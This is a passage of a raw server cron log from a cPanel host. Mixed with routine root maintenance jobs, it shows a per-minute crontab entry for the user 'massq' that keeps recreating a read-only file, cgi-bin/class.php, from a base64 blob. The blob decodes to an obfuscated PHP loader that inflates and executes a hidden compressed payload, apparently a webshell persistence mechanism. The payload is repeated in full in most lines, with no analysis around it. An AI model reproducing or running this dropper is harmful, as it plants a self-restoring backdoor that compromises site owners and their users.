JUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:50:01 server CROND[28486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 03:51:01 server CROND[29438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:52:01 server CROND[30201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:53:01 server CROND[31022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:54:01 server CROND[32062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:55:01 server CROND[418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:55:01 server CROND[419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:55:01 server CROND[420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:56:02 server CROND[1351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:57:01 server CROND[2241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:57:01 server CROND[2242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:58:01 server CROND[3067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:59:01 server CROND[3877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:00:01 server CROND[4681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:00:01 server CROND[4683]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:00:01 server CROND[4684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:00:01 server CROND[4686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:00:01 server CROND[4685]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 04:01:01 server CROND[5575]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 04:01:01 server CROND[5576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:01:01 server run-parts(/etc/cron.hourly)[5575]: starting 0anacron
Nov 12 04:01:01 server run-parts(/etc/cron.hourly)[5588]: finished 0anacron
Nov 12 04:02:01 server CROND[6507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:03:01 server CROND[7255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
